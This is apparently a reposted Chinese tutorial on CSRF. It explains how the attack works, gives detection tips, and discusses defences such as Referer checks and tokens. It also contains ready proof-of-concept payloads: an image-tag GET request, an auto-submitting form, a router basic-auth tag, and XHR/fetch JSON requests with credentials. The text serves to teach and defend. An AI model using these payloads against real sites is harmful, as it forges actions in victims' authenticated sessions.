一文了解CSRF漏洞
前言
本篇总结归纳CSRF漏洞
1、什么是CSRF
跨站请求伪造（Cross Site Request Forgery，CSRF）
-
目标用户使用其用户名和密码登录受信任站点，从而创建了一个新的会话，受信任站点则会为目标用户Web浏览器Cookie中的会话信息存储了会话标示符
-
测试者往Web应用页面中插入恶意的HTML链接或脚本代码，而目标页面又没有过滤或者过滤不严，那么当用户浏览该页面时，用户的Web浏览器将被操纵向受信任站点发送一个恶意请求，比如删除帖子、添加管理员、添加邮件转发规则、改变路由器的DNS设置等。
-
Web浏览器将会为这个恶意请求自动附加会话Cookie信息，因为是访问的受信任站点，因此该恶意请求将会成功完成。
与XSS相比
-
XSS：利用用户对站点的信任，攻击者通过注入程序来修改网站来使用户浏览器被重定向等
-
CSRF：利用站点对已经身份认证的用户的信任，攻击者伪造一个链接误导用户点击链接来使用用户的身份认证来访问服务器
2、攻击原理
成因就是网站的cookie在浏览器中不会过期，只要不关闭浏览器或者退出登录，那以后只要是访问这个网站，都会默认你已经登录的状态
而在这个期间，攻击者发送了构造好的csrf脚本或包含csrf脚本的链接，可能会执行一些用户不想做的功能
过程如下
-
用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A
-
在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A
-
用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B
-
网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A
-
浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。
3、几种攻击类型
（1）GET类型的CSRF
GET类型的CSRF利用非常简单，只需要一个HTTP请求
这种类型的CSRF一般是由于程序员安全意识不强造成的
一般会这样利用：
<img src=http://wooyun.org/csrf?xx=11 />
在访问含有这个img的页面后，成功向
http://wooyun.org/csrf?xx=11发出了一次HTTP请求
所以，如果将该网址替换为存在GET型CSRF的地址，就能完成攻击了（2）POST类型的CSRF
这种类型的CSRF危害没有GET型的大，利用起来通常使用的是一个自动提交的表单，如：
<form action=http://wooyun.org/csrf.php method=POST><input type="text" name="xx" value="11" /></form><script> document.forms[0].submit(); </script>
访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作
（3）过基础认证的CSRF(常用于路由器)
POC:
<img src=http://admin:[email protected] />
加载该图片后，路由器会给用户一个合法的SESSION，就可以进行下一步操作了
（4）未进行token校验
没有csrf-token的校验是最经典的CSRF漏洞高发处
但是这种漏洞只有在一些高风险的位置才有价值，比如csdn上关注/取关，发表博文等等一些操作
而在淘宝中如查看某一商品、执行某一模糊查询，这样的都属于无价值的被默认许可的csrf（5）FLASH CSRF
参考低调的Flash CSRF攻击
（6）Json劫持
参考谈谈Json格式下的CSRF攻击
CSRF攻击的应对之道
https://download.csdn.net/download/hohoy/4829066
如果服务端没有校验Content-Type，或者没有严格校验Content-Type是否为application/json
我们可以使用XHR来实现csrfpoc如下：
<html><head><script style="text/javascript">function submitRequest(){var xhr = new XMLHttpRequest();xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);xhr.setRequestHeader("Accept", "application/json, text/plain, */*");xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");xhr.withCredentials = true;xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));}</script></head><body><form action="#"><input type="button" value="Submit request" onClick="submitRequest()"/></form></body></html>使用XMLHttpRequest、fetch能构造出JSON请求，并且能设置Content-Type，但是无法跨域
fetch发起的请求代码：
<html><title>JSON CSRF POC</title><script>fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script></form></html>4、CSRF的检测
最简单的方法就是抓取一个正常请求的数据包，去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定存在CSRF漏洞
网站可能存在CSRF漏洞的位置：
-
订阅处
-
评论处
-
管理员添加处
-
密码修改处
-
资料修改处
-
删除用户或者信息处
随着对CSRF漏洞研究的不断深入，不断涌现出一些专门针对CSRF漏洞进行检测的工具，如CSRFTester，CSRF Request Builder
github上有个工具autoFindXssAndCsrf
5、CSRF的防御
（1）验证 HTTP Referer 字段
根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址
在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用户必须先登陆 bank.example，然后通过点击页面上的按钮来触发转账事件
因此，要防御 CSRF 攻击，网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank.example 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。
这种方法的显而易见的好处就是简单易行，网站的普通开发人员不需要操心 CSRF 的漏洞，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。
跨站请求伪造-CSRF防护方法
https://download.csdn.net/download/rocgege/5132355
然而，这种方法并非万无一失。Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，但是每个浏览器对于 Referer 的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来讲，这样并不安全。事实上，对于某些浏览器，比如IE6 或 FF2，目前已经有一些方法可以篡改 Referer 值。如果 网站支持IE6 浏览器，黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址，这样就可以通过验证，从而进行 CSRF 攻击。
即便是使用最新的浏览器，黑客无法篡改 Referer 值，这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源，有些用户认为这样会侵犯到他们自己的隐私权，特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此，用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时，网站会因为请求没有 Referer 值而认为是 CSRF 攻击，拒绝合法用户的访问。
（2）在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。
这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求，token 将附在请求地址之后，这样 URL 就变成 http://url?csrftoken=tokenvalue。而对于 POST 请求来说，要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>，这样就把 token 以参数的形式加入请求了。但是，在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的，并且很容易漏掉，通常使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树，对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求，但是对于在页面加载之后动态生成的 html 代码，这种方法就没有作用，还需要程序员在编码时手动添加 token。
该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站，黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token，黑客可以在自己的网站上得到这个 token，并马上就可以发动 CSRF 攻击。为了避免这一点，系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。不过，即使这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
（3）在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新，并非所有的请求都适合用这个类来发起，而且通过该类请求得到的页面不能被浏览器所记录下，从而进行前进，后退，刷新，收藏等操作，给用户带来不便。另外，对于没有进行 CSRF 防护的遗留系统来说，要采用这种方法来进行防护，要把所有请求都改为 XMLHttpRequest 请求，这样几乎是要重写整个网站，这代价无疑是不能接受的。
（4）二次验证
业务上也可以做防御
在调用某些功能时进行二次验证
如删除用户时，弹出“确认删除用户吗”
还有验证码也可以
结语
对CSRF做了个归纳
原文始发于微信公众号（红客突击队）：一文了解CSRF漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论